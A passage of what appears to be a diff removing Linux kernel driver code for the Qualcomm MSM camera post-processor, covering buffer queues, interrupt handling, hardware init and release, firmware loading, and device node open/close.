phy_addr = msm_cpp_queue_buffer_info(cpp_dev, buff_queue_info, - buffer_info); - *fd = buffer_info->fd; - } - return phy_addr; -} - -static int32_t msm_cpp_enqueue_buff_info_list(struct cpp_device *cpp_dev, - struct msm_cpp_stream_buff_info_t *stream_buff_info) -{ - uint32_t j; - struct msm_cpp_buff_queue_info_t *buff_queue_info; - - buff_queue_info = msm_cpp_get_buff_queue_entry(cpp_dev, - (stream_buff_info->identity >> 16) & 0xFFFF, - stream_buff_info->identity & 0xFFFF); - if (buff_queue_info == NULL) { - pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", - (stream_buff_info->identity >> 16) & 0xFFFF, - stream_buff_info->identity & 0xFFFF); - return -EINVAL; - } - - for (j = 0; j < stream_buff_info->num_buffs; j++) { - msm_cpp_queue_buffer_info(cpp_dev, buff_queue_info, - &stream_buff_info->buffer_info[j]); - } - return 0; -} - -static int32_t msm_cpp_dequeue_buff_info_list(struct cpp_device *cpp_dev, - struct msm_cpp_buff_queue_info_t *buff_queue_info) -{ - struct msm_cpp_buffer_map_list_t *buff, *save; - struct list_head *buff_head; - - buff_head = &buff_queue_info->native_buff_head; - list_for_each_entry_safe(buff, save, buff_head, entry) { - msm_cpp_dequeue_buffer_info(cpp_dev, buff); - } - - buff_head = &buff_queue_info->vb2_buff_head; - list_for_each_entry_safe(buff, save, buff_head, entry) { - msm_cpp_dequeue_buffer_info(cpp_dev, buff); - } - - return 0; -} - -static int32_t msm_cpp_add_buff_queue_entry(struct cpp_device *cpp_dev, - uint16_t session_id, uint16_t stream_id) -{ - uint32_t i; - struct msm_cpp_buff_queue_info_t *buff_queue_info; - - for (i = 0; i < cpp_dev->num_buffq; i++) { - if (cpp_dev->buff_queue[i].used == 0) { - buff_queue_info = &cpp_dev->buff_queue[i]; - buff_queue_info->used = 1; - buff_queue_info->session_id = session_id; - buff_queue_info->stream_id = stream_id; - INIT_LIST_HEAD(&buff_queue_info->vb2_buff_head); - INIT_LIST_HEAD(&buff_queue_info->native_buff_head); - return 0; - } - } - pr_err("buffer queue full. error for sessionid: %d streamid: %d\n", - session_id, stream_id); - return -EINVAL; -} - -static int32_t msm_cpp_free_buff_queue_entry(struct cpp_device *cpp_dev, - uint32_t session_id, uint32_t stream_id) -{ - struct msm_cpp_buff_queue_info_t *buff_queue_info; - - buff_queue_info = msm_cpp_get_buff_queue_entry(cpp_dev, session_id, - stream_id); - if (buff_queue_info == NULL) { - pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", - session_id, stream_id); - return -EINVAL; - } - - buff_queue_info->used = 0; - buff_queue_info->session_id = 0; - buff_queue_info->stream_id = 0; - INIT_LIST_HEAD(&buff_queue_info->vb2_buff_head); - INIT_LIST_HEAD(&buff_queue_info->native_buff_head); - return 0; -} - -static int32_t msm_cpp_create_buff_queue(struct cpp_device *cpp_dev, - uint32_t num_buffq) -{ - struct msm_cpp_buff_queue_info_t *buff_queue; - buff_queue = kzalloc( - sizeof(struct msm_cpp_buff_queue_info_t) * num_buffq, - GFP_KERNEL); - if (!buff_queue) { - pr_err("Buff queue allocation failure\n"); - return -ENOMEM; - } - - if (cpp_dev->buff_queue) { - pr_err("Buff queue not empty\n"); - kzfree(buff_queue); - return -EINVAL; - } else { - cpp_dev->buff_queue = buff_queue; - cpp_dev->num_buffq = num_buffq; - } - return 0; -} - -static void msm_cpp_delete_buff_queue(struct cpp_device *cpp_dev) -{ - uint32_t i; - - for (i = 0; i < cpp_dev->num_buffq; i++) { - if (cpp_dev->buff_queue[i].used == 1) { - pr_err("Queue not free sessionid: %d, streamid: %d\n", - cpp_dev->buff_queue[i].session_id, - cpp_dev->buff_queue[i].stream_id); - msm_cpp_dequeue_buff_info_list - (cpp_dev, &cpp_dev->buff_queue[i]); - msm_cpp_free_buff_queue_entry(cpp_dev, - cpp_dev->buff_queue[i].session_id, - cpp_dev->buff_queue[i].stream_id); - } - } - kzfree(cpp_dev->buff_queue); - cpp_dev->buff_queue = NULL; - cpp_dev->num_buffq = 0; - return; -} - -static void msm_cpp_poll(void __iomem *cpp_base, u32 val) -{ - uint32_t tmp, retry = 0; - do { - usleep_range(1000, 2000); - tmp = msm_cpp_read(cpp_base); - if (tmp != 0xDEADBEEF) - CPP_LOW("poll: 0%x\n", tmp); - } while ((tmp != val) && (retry++ < MSM_CPP_POLL_RETRIES)); - if (retry < MSM_CPP_POLL_RETRIES) - CPP_LOW("Poll finished\n"); - else - pr_err("Poll failed: expect: 0x%x\n", val); -} - -static void msm_cpp_poll_rx_empty(void __iomem *cpp_base) -{ - uint32_t tmp, retry = 0; - - tmp = msm_camera_io_r(cpp_base + MSM_CPP_MICRO_FIFO_RX_STAT); - while (((tmp & 0x2) != 0x0) && (retry++ < MSM_CPP_POLL_RETRIES)) { - /*Below usleep values are chosen based on experiments - and this was the smallest number which works. This - sleep is needed to leave enough time for Microcontroller - to read rx fifo.*/ - usleep_range(200, 300); - tmp = msm_camera_io_r(cpp_base + MSM_CPP_MICRO_FIFO_RX_STAT); - } - - if (retry < MSM_CPP_POLL_RETRIES) - CPP_LOW("Poll rx empty\n"); - else - pr_err("Poll rx empty failed\n"); -} - -void cpp_release_ion_client(struct kref *ref) -{ - struct cpp_device *cpp_dev = container_of(ref, - struct cpp_device, refcount); - pr_err("Calling ion_client_destroy\n"); - ion_client_destroy(cpp_dev->client); -} - -static int cpp_init_mem(struct cpp_device *cpp_dev) -{ - int rc = 0; - - kref_init(&cpp_dev->refcount); - kref_get(&cpp_dev->refcount); - cpp_dev->client = msm_ion_client_create("cpp"); - - CPP_DBG("E\n"); - if (!cpp_dev->domain) { - pr_err("domain / iommu context not found\n"); - return -ENODEV; - } - - CPP_DBG("X\n"); - return rc; -} - -static void cpp_deinit_mem(struct cpp_device *cpp_dev) -{ - CPP_DBG("E\n"); - kref_put(&cpp_dev->refcount, cpp_release_ion_client); - CPP_DBG("X\n"); -} - -static irqreturn_t msm_cpp_irq(int irq_num, void *data) -{ - unsigned long flags; - uint32_t tx_level; - uint32_t irq_status; - uint32_t i; - uint32_t tx_fifo[MSM_CPP_TX_FIFO_LEVEL]; - struct cpp_device *cpp_dev = data; - struct msm_cpp_tasklet_queue_cmd *queue_cmd; - irq_status = msm_camera_io_r(cpp_dev->base + MSM_CPP_MICRO_IRQGEN_STAT); - CPP_DBG("status: 0x%x\n", irq_status); - if (irq_status & 0x8) { - tx_level = msm_camera_io_r(cpp_dev->base + - MSM_CPP_MICRO_FIFO_TX_STAT) >> 2; - for (i = 0; i < tx_level; i++) { - tx_fifo[i] = msm_camera_io_r(cpp_dev->base + - MSM_CPP_MICRO_FIFO_TX_DATA); - } - spin_lock_irqsave(&cpp_dev->tasklet_lock, flags); - queue_cmd = &cpp_dev->tasklet_queue_cmd[cpp_dev->taskletq_idx]; - if (queue_cmd->cmd_used) { - pr_err("%s: cpp tasklet queue overflow\n", __func__); - list_del(&queue_cmd->list); - } else { - atomic_add(1, &cpp_dev->irq_cnt); - } - queue_cmd->irq_status = irq_status; - queue_cmd->tx_level = tx_level; - memset(&queue_cmd->tx_fifo[0], 0, sizeof(queue_cmd->tx_fifo)); - for (i = 0; i < tx_level; i++) - queue_cmd->tx_fifo[i] = tx_fifo[i]; - - queue_cmd->cmd_used = 1; - cpp_dev->taskletq_idx = - (cpp_dev->taskletq_idx + 1) % MSM_CPP_TASKLETQ_SIZE; - list_add_tail(&queue_cmd->list, &cpp_dev->tasklet_q); - spin_unlock_irqrestore(&cpp_dev->tasklet_lock, flags); - - tasklet_schedule(&cpp_dev->cpp_tasklet); - } else if (irq_status & 0x7C0) { - pr_err("%s: fatal error: 0x%x\n", __func__, irq_status); - pr_err("%s: DEBUG_SP: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x40)); - pr_err("%s: DEBUG_T: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x44)); - pr_err("%s: DEBUG_N: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x48)); - pr_err("%s: DEBUG_R: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x4C)); - pr_err("%s: DEBUG_OPPC: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x50)); - pr_err("%s: DEBUG_MO: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x54)); - pr_err("%s: DEBUG_TIMER0: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x60)); - pr_err("%s: DEBUG_TIMER1: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x64)); - pr_err("%s: DEBUG_GPI: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x70)); - pr_err("%s: DEBUG_GPO: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x74)); - pr_err("%s: DEBUG_T0: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x80)); - pr_err("%s: DEBUG_R0: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x84)); - pr_err("%s: DEBUG_T1: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x88)); - pr_err("%s: DEBUG_R1: 0x%x\n", __func__, - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x8C)); - } - msm_camera_io_w(irq_status, cpp_dev->base + MSM_CPP_MICRO_IRQGEN_CLR); - return IRQ_HANDLED; -} - -void msm_cpp_do_tasklet(unsigned long data) -{ - unsigned long flags; - uint32_t irq_status; - uint32_t tx_level; - uint32_t msg_id, cmd_len; - uint32_t i; - uint32_t tx_fifo[MSM_CPP_TX_FIFO_LEVEL]; - struct cpp_device *cpp_dev = (struct cpp_device *) data; - struct msm_cpp_tasklet_queue_cmd *queue_cmd; - - while (atomic_read(&cpp_dev->irq_cnt)) { - spin_lock_irqsave(&cpp_dev->tasklet_lock, flags); - queue_cmd = list_first_entry(&cpp_dev->tasklet_q, - struct msm_cpp_tasklet_queue_cmd, list); - if (!queue_cmd) { - atomic_set(&cpp_dev->irq_cnt, 0); - spin_unlock_irqrestore(&cpp_dev->tasklet_lock, flags); - return; - } - atomic_sub(1, &cpp_dev->irq_cnt); - list_del(&queue_cmd->list); - queue_cmd->cmd_used = 0; - irq_status = queue_cmd->irq_status; - tx_level = queue_cmd->tx_level; - for (i = 0; i < tx_level; i++) - tx_fifo[i] = queue_cmd->tx_fifo[i]; - - spin_unlock_irqrestore(&cpp_dev->tasklet_lock, flags); - - for (i = 0; i < tx_level; i++) { - if (tx_fifo[i] == MSM_CPP_MSG_ID_CMD) { - cmd_len = tx_fifo[i+1]; - msg_id = tx_fifo[i+2]; - if (msg_id == MSM_CPP_MSG_ID_FRAME_ACK) { - CPP_DBG("Frame done!!\n"); - /* delete CPP timer */ - CPP_DBG("delete timer.\n"); - msm_cpp_clear_timer(cpp_dev); - msm_cpp_notify_frame_done(cpp_dev); - } else if (msg_id == - MSM_CPP_MSG_ID_FRAME_NACK) { - pr_err("NACK error from hw!!\n"); - CPP_DBG("delete timer.\n"); - msm_cpp_clear_timer(cpp_dev); - msm_cpp_notify_frame_done(cpp_dev); - } - i += cmd_len + 2; - } - } - } -} -static void cpp_get_clk_freq_tbl(struct clk *clk, struct cpp_hw_info *hw_info) -{ - uint32_t count; - signed long freq_tbl_entry = 0; - - if ((clk == NULL) || (hw_info == NULL) || (clk->ops == NULL) || - (clk->ops->list_rate == NULL)) { - pr_err("Bad parameter\n"); - return; - } - - for (count = 0; count < MAX_FREQ_TBL; count++) { - freq_tbl_entry = clk->ops->list_rate(clk, count); - if (freq_tbl_entry >= 0) - hw_info->freq_tbl[count] = freq_tbl_entry; - else - break; - } - - hw_info->freq_tbl_count = count; -} - -static int cpp_init_hardware(struct cpp_device *cpp_dev) -{ - int rc = 0; - - if (cpp_dev->bus_master_flag) - rc = msm_cpp_init_bandwidth_mgr(cpp_dev); - else - rc = msm_isp_init_bandwidth_mgr(ISP_CPP); - if (rc < 0) { - pr_err("%s: Bandwidth registration Failed!\n", __func__); - goto bus_scale_register_failed; - } - - if (cpp_dev->fs_cpp == NULL) { - cpp_dev->fs_cpp = - regulator_get(&cpp_dev->pdev->dev, "vdd"); - if (IS_ERR(cpp_dev->fs_cpp)) { - pr_err("Regulator cpp vdd get failed %ld\n", - PTR_ERR(cpp_dev->fs_cpp)); - cpp_dev->fs_cpp = NULL; - goto fs_failed; - } else if (regulator_enable(cpp_dev->fs_cpp)) { - pr_err("Regulator cpp vdd enable failed\n"); - regulator_put(cpp_dev->fs_cpp); - cpp_dev->fs_cpp = NULL; - goto fs_failed; - } - } - - if (cpp_dev->hw_info.cpp_hw_version != CPP_HW_VERSION_4_0_0) { - cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX] = - clk_get(&cpp_dev->pdev->dev, - cpp_clk_info[MSM_MICRO_IFACE_CLK_IDX].clk_name); - if (IS_ERR(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX])) { - pr_err("%s get failed\n", - cpp_clk_info[MSM_MICRO_IFACE_CLK_IDX].clk_name); - rc = - PTR_ERR(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX]); - goto remap_failed; - } - - rc = clk_reset(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX], - CLK_RESET_ASSERT); - if (rc) { - pr_err("%s:micro_iface_clk assert failed\n", - __func__); - clk_put(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX]); - goto remap_failed; - } - /*Below usleep values are chosen based on experiments - and this was the smallest number which works. This - sleep is needed to leave enough time for Microcontroller - to resets all its registers.*/ - usleep_range(10000, 12000); - - rc = clk_reset(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX], - CLK_RESET_DEASSERT); - if (rc) { - pr_err("%s:micro_iface_clk assert failed\n", __func__); - clk_put(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX]); - goto remap_failed; - } - /*Below usleep values are chosen based on experiments and - this was the smallest number which works. This sleep is - needed to leave enough time for Microcontroller to - resets all its registers.*/ - usleep_range(1000, 1200); - - clk_put(cpp_dev->cpp_clk[MSM_MICRO_IFACE_CLK_IDX]); - } - - rc = msm_cam_clk_enable(&cpp_dev->pdev->dev, cpp_clk_info, - cpp_dev->cpp_clk, cpp_dev->num_clk, 1); - if (rc < 0) { - pr_err("clk enable failed\n"); - goto clk_failed; - } - - cpp_dev->base = ioremap(cpp_dev->mem->start, - resource_size(cpp_dev->mem)); - if (!cpp_dev->base) { - rc = -ENOMEM; - pr_err("ioremap failed\n"); - goto remap_failed; - } - - cpp_dev->vbif_base = ioremap(cpp_dev->vbif_mem->start, - resource_size(cpp_dev->vbif_mem)); - if (!cpp_dev->vbif_base) { - rc = -ENOMEM; - pr_err("ioremap failed\n"); - goto vbif_remap_failed; - } - - cpp_dev->cpp_hw_base = ioremap(cpp_dev->cpp_hw_mem->start, - resource_size(cpp_dev->cpp_hw_mem)); - if (!cpp_dev->cpp_hw_base) { - rc = -ENOMEM; - pr_err("ioremap failed\n"); - goto cpp_hw_remap_failed; - } - - if (cpp_dev->state != CPP_STATE_BOOT) { - rc = request_irq(cpp_dev->irq->start, msm_cpp_irq, - IRQF_TRIGGER_RISING, "cpp", cpp_dev); - if (rc < 0) { - pr_err("irq request fail\n"); - goto req_irq_fail; - } - cpp_dev->buf_mgr_subdev = msm_buf_mngr_get_subdev(); - - rc = msm_cpp_buffer_ops(cpp_dev, - VIDIOC_MSM_BUF_MNGR_INIT, NULL); - if (rc < 0) { - pr_err("buf mngr init failed\n"); - free_irq(cpp_dev->irq->start, cpp_dev); - goto req_irq_fail; - } - } - - cpp_dev->hw_info.cpp_hw_version = - msm_camera_io_r(cpp_dev->cpp_hw_base); - pr_info("CPP HW Version: 0x%x\n", cpp_dev->hw_info.cpp_hw_version); - cpp_dev->hw_info.cpp_hw_caps = - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x4); - cpp_get_clk_freq_tbl(cpp_dev->cpp_clk[MSM_CPP_CORE_CLK_IDX], - &cpp_dev->hw_info); - pr_debug("CPP HW Caps: 0x%x\n", cpp_dev->hw_info.cpp_hw_caps); - msm_camera_io_w(0x1, cpp_dev->vbif_base + 0x4); - cpp_dev->taskletq_idx = 0; - atomic_set(&cpp_dev->irq_cnt, 0); - msm_cpp_create_buff_queue(cpp_dev, MSM_CPP_MAX_BUFF_QUEUE); - pr_err("stream_cnt:%d\n", cpp_dev->stream_cnt); - cpp_dev->stream_cnt = 0; - if (cpp_dev->hw_info.cpp_hw_version != CPP_HW_VERSION_4_0_0) { - if (cpp_dev->is_firmware_loaded == 1) { - disable_irq(cpp_dev->irq->start); - cpp_load_fw(cpp_dev, cpp_dev->fw_name_bin); - enable_irq(cpp_dev->irq->start); - msm_camera_io_w_mb(0x7C8, cpp_dev->base + - MSM_CPP_MICRO_IRQGEN_MASK); - msm_camera_io_w_mb(0xFFFF, cpp_dev->base + - MSM_CPP_MICRO_IRQGEN_CLR); - } - } else { - msm_camera_io_w(0x1, - cpp_dev->base + MSM_CPP_MICRO_CLKEN_CTL); - msm_camera_io_w_mb(0x7C8, - cpp_dev->base + MSM_CPP_MICRO_IRQGEN_MASK); - msm_camera_io_w_mb(0xFFFF, - cpp_dev->base + MSM_CPP_MICRO_IRQGEN_CLR); - } - return rc; -req_irq_fail: - iounmap(cpp_dev->cpp_hw_base); -cpp_hw_remap_failed: - iounmap(cpp_dev->vbif_base); -vbif_remap_failed: - iounmap(cpp_dev->base); -remap_failed: - msm_cam_clk_enable(&cpp_dev->pdev->dev, cpp_clk_info, - cpp_dev->cpp_clk, cpp_dev->num_clk, 0); -clk_failed: - regulator_disable(cpp_dev->fs_cpp); - regulator_put(cpp_dev->fs_cpp); -fs_failed: - if (cpp_dev->bus_master_flag) - msm_cpp_deinit_bandwidth_mgr(cpp_dev); - else - msm_isp_deinit_bandwidth_mgr(ISP_CPP); -bus_scale_register_failed: - return rc; -} - -static void cpp_release_hardware(struct cpp_device *cpp_dev) -{ - int32_t rc; - if (cpp_dev->state != CPP_STATE_BOOT) { - rc = msm_cpp_buffer_ops(cpp_dev, - VIDIOC_MSM_BUF_MNGR_DEINIT, NULL); - if (rc < 0) { - pr_err("error in buf mngr deinit\n"); - rc = -EINVAL; - } - free_irq(cpp_dev->irq->start, cpp_dev); - tasklet_kill(&cpp_dev->cpp_tasklet); - atomic_set(&cpp_dev->irq_cnt, 0); - } - msm_cpp_delete_buff_queue(cpp_dev); - iounmap(cpp_dev->base); - iounmap(cpp_dev->vbif_base); - iounmap(cpp_dev->cpp_hw_base); - msm_cam_clk_enable(&cpp_dev->pdev->dev, cpp_clk_info, - cpp_dev->cpp_clk, cpp_dev->num_clk, 0); - regulator_disable(cpp_dev->fs_cpp); - regulator_put(cpp_dev->fs_cpp); - cpp_dev->fs_cpp = NULL; - if (cpp_dev->stream_cnt > 0) { - pr_err("error: stream count active\n"); - if (cpp_dev->bus_master_flag) - rc = msm_cpp_update_bandwidth(cpp_dev, 0, 0); - else - rc = msm_isp_update_bandwidth(ISP_CPP, 0, 0); - } - cpp_dev->stream_cnt = 0; - if (cpp_dev->bus_master_flag) - msm_cpp_deinit_bandwidth_mgr(cpp_dev); - else - msm_isp_deinit_bandwidth_mgr(ISP_CPP); -} - -static void cpp_load_fw(struct cpp_device *cpp_dev, char *fw_name_bin) -{ - uint32_t i; - uint32_t *ptr_bin = NULL; - int32_t rc = -EFAULT; - const struct firmware *fw = NULL; - struct device *dev = &cpp_dev->pdev->dev; - - msm_camera_io_w(0x1, cpp_dev->base + MSM_CPP_MICRO_CLKEN_CTL); - msm_camera_io_w(0x1, cpp_dev->base + - MSM_CPP_MICRO_BOOT_START); - msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_CMD); - - if (fw_name_bin) { - pr_debug("%s: FW file: %s\n", __func__, fw_name_bin); - rc = request_firmware(&fw, fw_name_bin, dev); - if (rc) { - dev_err(dev, - "Fail to loc blob %s from dev %p, Error: %d\n", - fw_name_bin, dev, rc); - } - if (NULL != fw) - ptr_bin = (uint32_t *)fw->data; - - msm_camera_io_w(0x1, cpp_dev->base + - MSM_CPP_MICRO_BOOT_START); - msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_CMD); - msm_camera_io_w(0xFFFFFFFF, cpp_dev->base + - MSM_CPP_MICRO_IRQGEN_CLR); - - /*Start firmware loading*/ - msm_cpp_write(MSM_CPP_CMD_FW_LOAD, cpp_dev->base); - if (fw) - msm_cpp_write(fw->size, cpp_dev->base); - else - msm_cpp_write(MSM_CPP_END_ADDRESS, cpp_dev->base); - msm_cpp_write(MSM_CPP_START_ADDRESS, cpp_dev->base); - - if (ptr_bin) { - msm_cpp_poll_rx_empty(cpp_dev->base); - for (i = 0; i < fw->size/4; i++) { - msm_cpp_write(*ptr_bin, cpp_dev->base); - if (i % MSM_CPP_RX_FIFO_LEVEL == 0) - msm_cpp_poll_rx_empty(cpp_dev->base); - ptr_bin++; - } - } - if (fw) - release_firmware(fw); - msm_camera_io_w_mb(0x00, cpp_dev->cpp_hw_base + 0xC); - msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_OK); - msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_CMD); - } - - /*Trigger MC to jump to start address*/ - msm_cpp_write(MSM_CPP_CMD_EXEC_JUMP, cpp_dev->base); - msm_cpp_write(MSM_CPP_JUMP_ADDRESS, cpp_dev->base); - - msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_CMD); - msm_cpp_poll(cpp_dev->base, 0x1); - msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_JUMP_ACK); - msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_TRAILER); - - /*Get Bootloader Version*/ - msm_cpp_write(MSM_CPP_CMD_GET_BOOTLOADER_VER, cpp_dev->base); - pr_info("MC Bootloader Version: 0x%x\n", - msm_cpp_read(cpp_dev->base)); - - /*Get Firmware Version*/ - msm_cpp_write(MSM_CPP_CMD_GET_FW_VER, cpp_dev->base); - msm_cpp_write(MSM_CPP_MSG_ID_CMD, cpp_dev->base); - msm_cpp_write(0x1, cpp_dev->base); - msm_cpp_write(MSM_CPP_CMD_GET_FW_VER, cpp_dev->base); - msm_cpp_write(MSM_CPP_MSG_ID_TRAILER, cpp_dev->base); - - msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_CMD); - msm_cpp_poll(cpp_dev->base, 0x2); - msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_FW_VER); - cpp_dev->fw_version = msm_cpp_read(cpp_dev->base); - pr_info("CPP FW Version: 0x%08x\n", cpp_dev->fw_version); - msm_cpp_poll(cpp_dev->base, MSM_CPP_MSG_ID_TRAILER); - - /*Disable MC clock*/ - /*msm_camera_io_w(0x0, cpp_dev->base + - MSM_CPP_MICRO_CLKEN_CTL);*/ -} - -static int cpp_open_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) -{ - int rc; - uint32_t i; - struct cpp_device *cpp_dev = v4l2_get_subdevdata(sd); - CPP_DBG("E\n"); - - mutex_lock(&cpp_dev->mutex); - if (cpp_dev->cpp_open_cnt == MAX_ACTIVE_CPP_INSTANCE) { - pr_err("No free CPP instance\n"); - mutex_unlock(&cpp_dev->mutex); - return -ENODEV; - } - - for (i = 0; i < MAX_ACTIVE_CPP_INSTANCE; i++) { - if (cpp_dev->cpp_subscribe_list[i].active == 0) { - cpp_dev->cpp_subscribe_list[i].active = 1; - cpp_dev->cpp_subscribe_list[i].vfh = &fh->vfh; - break; - } - } - if (i == MAX_ACTIVE_CPP_INSTANCE) { - pr_err("No free instance\n"); - mutex_unlock(&cpp_dev->mutex); - return -ENODEV; - } - - CPP_DBG("open %d %p\n", i, &fh->vfh); - cpp_dev->cpp_open_cnt++; - if (cpp_dev->cpp_open_cnt == 1) { - rc = cpp_init_hardware(cpp_dev); - if (rc < 0) { - cpp_dev->cpp_open_cnt--; - cpp_dev->cpp_subscribe_list[i].active = 0; - cpp_dev->cpp_subscribe_list[i].vfh = NULL; - mutex_unlock(&cpp_dev->mutex); - return rc; - } - - cpp_init_mem(cpp_dev); - cpp_dev->state = CPP_STATE_IDLE; - } - mutex_unlock(&cpp_dev->mutex); - return 0; -} - -static int cpp_close_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) -{ - uint32_t i; - struct cpp_device *cpp_dev = v4l2_get_subdevdata(sd); - struct msm_device_queue *processing_q = NULL; - struct msm_device_queue *eventData_q = NULL; - - if (!cpp_dev) { - pr_err("failed: cpp_dev %p\n", cpp_dev); - return -EINVAL; - } - - mutex_lock(&cpp_dev->mutex); - - processing_q = &cpp_dev->processing_q; - eventData_q = &cpp_dev->eventData_q; - - if (cpp_dev->cpp_open_cnt == 0) { - mutex_unlock(&cpp_dev->mutex); - return 0; - } - - for (i = 0; i < MAX_ACTIVE_CPP_INSTANCE; i++) { - if (cpp_dev->cpp_subscribe_list[i].active == 1) { - cpp_dev->cpp_subscribe_list[i].active = 0; - cpp_dev->cpp_subscribe_list[i].vfh = NULL; - break; - } - } - if (i == MAX_ACTIVE_CPP_INSTANCE) { - pr_err("Invalid close\n"); - mutex_unlock(&cpp_dev->mutex); - return -ENODEV; - } - - cpp_dev->cpp_open_cnt--; - if (cpp_dev->cpp_open_cnt == 0) { - pr_debug("irq_status: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x4)); - pr_debug("DEBUG_SP: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x40)); - pr_debug("DEBUG_T: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x44)); - pr_debug("DEBUG_N: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x48)); - pr_debug("DEBUG_R: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x4C)); - pr_debug("DEBUG_OPPC: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x50)); - pr_debug("DEBUG_MO: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x54)); - pr_debug("DEBUG_TIMER0: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x60)); - pr_debug("DEBUG_TIMER1: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x64)); - pr_debug("DEBUG_GPI: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x70)); - pr_debug("DEBUG_GPO: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x74)); - pr_debug("DEBUG_T0: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x80)); - pr_debug("DEBUG_R0: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x84)); - pr_debug("DEBUG_T1: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x88)); - pr_debug("DEBUG_R1: 0x%x\n", - msm_camera_io_r(cpp_dev->cpp_hw_base + 0x8C)); - msm_camera_io_w(0x0, cpp_dev->base + MSM_CPP_MICRO_CLKEN_CTL); - msm_cpp_clear_timer(cpp_dev); - cpp_deinit_mem(cpp_dev); - if (cpp_dev->iommu_state == CPP_IOMMU_STATE_ATTACHED) { - iommu_detach_device(cpp_dev->domain, - cpp_dev->iommu_ctx); - cpp_dev->iommu_state = CPP_IOMMU_STATE_DETACHED; - } - cpp_release_hardware(cpp_dev); - msm_cpp_empty_list(processing_q, list_frame); - msm_cpp_empty_list(eventData_q, list_eventdata); - cpp_dev->state = CPP_STATE_OFF; - } - - mutex_unlock(&cpp_dev->mutex); - return 0; -} - -static const struct v4l2_subdev_internal_ops msm_cpp_internal_ops = { - .open = cpp_open_node, - .close = cpp_close_node, -}; - -static int msm_cpp_buffer_ops(struct cpp_device *cpp_dev, - uint32_t buff_mgr_ops, struct msm_buf_mngr_info *buff_mgr_info) -{ - int rc = -EINVAL; - - rc = v4l2_subdev_call(cpp_dev->buf_mgr_subdev, core, ioctl, - buff_mgr_ops, buff_mgr_info); - if (rc < 0) - pr_debug("%s: line %d rc = %d\n", __func__, __LINE__, rc); - return rc; -} - -static int msm_cpp_notify_frame_done(struct cpp_device *cpp_dev) -{ - struct v4l2_event v4l2_evt; - struct msm_queue_cmd *frame_qcmd = NULL; - struct msm_queue_cmd *event_qcmd = NULL; - struct msm_cpp_frame_info_t *processed_frame = NULL; - struct msm_device_queue *queue = &cpp_dev->processing_q; - struct msm_buf_mngr_info buff_mgr_info; - int rc = 0; - - frame_qcmd = msm_dequeue(queue, list_frame); - if (frame_qcmd) { - processed_frame = frame_qcmd->command; - do_gettimeofday(&(processed_frame->out_time)); - kfree(frame_qcmd); - event_qcmd = kzalloc(sizeof(struct msm_queue_cmd), GFP_ATOMIC); - if (!event_qcmd) { - pr_err("Insufficient memory. return"); - return -ENOMEM; - } - atomic_set(&event_qcmd->on_heap, 1); - event_qcmd->command = processed_frame; - CPP_DBG("fid %d\n", processed_frame->frame_id); - msm_enqueue(&cpp_dev->eventData_q, &event_qcmd->list_eventdata); - - if (!processed_frame->output_buffer_info[0].processed_divert && - !processed_frame->output_buffer_info[0].native_buff) { - memset(&buff_mgr_info, 0 , - sizeof(struct msm_buf_mngr_info)); - buff_mgr_info.session_id = - ((processed_frame->identity >> 16) & 0xFFFF); - buff_mgr_info.stream_id = - (processed_frame->identity & 0xFFFF); - buff_mgr_info.frame_id = processed_frame->frame_id; - buff_mgr_info.timestamp = 